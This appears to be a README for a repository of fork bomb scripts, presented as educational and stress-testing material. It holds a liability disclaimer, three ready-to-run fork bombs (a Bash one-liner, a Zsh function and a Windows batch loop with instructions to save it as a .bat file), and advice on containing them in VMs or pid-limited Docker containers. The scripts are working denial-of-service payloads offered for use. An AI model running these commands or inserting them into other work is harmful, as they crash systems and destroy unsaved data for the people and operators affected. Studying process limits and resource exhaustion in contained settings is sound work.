A collection of Fork Bomb scripts for educational research, system stress testing, and understanding operating system process management.
IMPORTANT: PLEASE READ CAREFULLY BEFORE USING ANY CODE IN THIS REPOSITORY.
This repository and the code contained within it are published strictly for educational, research, and authorized testing purposes. A fork bomb is a form of Denial-of-Service (DoS) attack that exhausts system resources.
By using, downloading, or viewing this repository, you agree to the following terms:
- No Liability: The author(s) and contributors of this repository are not responsible for any damage, data loss, system crashes, or financial losses caused by the misuse of these scripts.
- Authorized Testing Only: You must only execute these scripts on hardware, virtual machines, or networks that you own or have explicit, written permission to test.
- Prohibited Misuse: Deploying these scripts on unauthorized production environments, shared servers, or school/corporate networks without consent is illegal and violates computer misuse laws globally.
The classic, highly compact Bash fork bomb that uses : as the function name.
:(){ :|:& };:Designed for modern macOS versions where Zsh is the default login shell.
bomb() { bomb | bomb & }; bombA Windows-specific loop that rapidly forces the command processor to spawn new instances of itself. Save this as a .bat file.
:b
start
goto :bTo study these scripts without crashing your primary operating system, always utilize strict containment methods:
- Virtual Machines: Run the code inside an isolated VM (e.g., VirtualBox, VMware) with no unsaved data on the host machine.
- Docker Containers: Set resource constraints when launching containers to prevent the fork bomb from leaking onto the host system:
docker run --rm -it --pids-limit 50 ubuntu:latest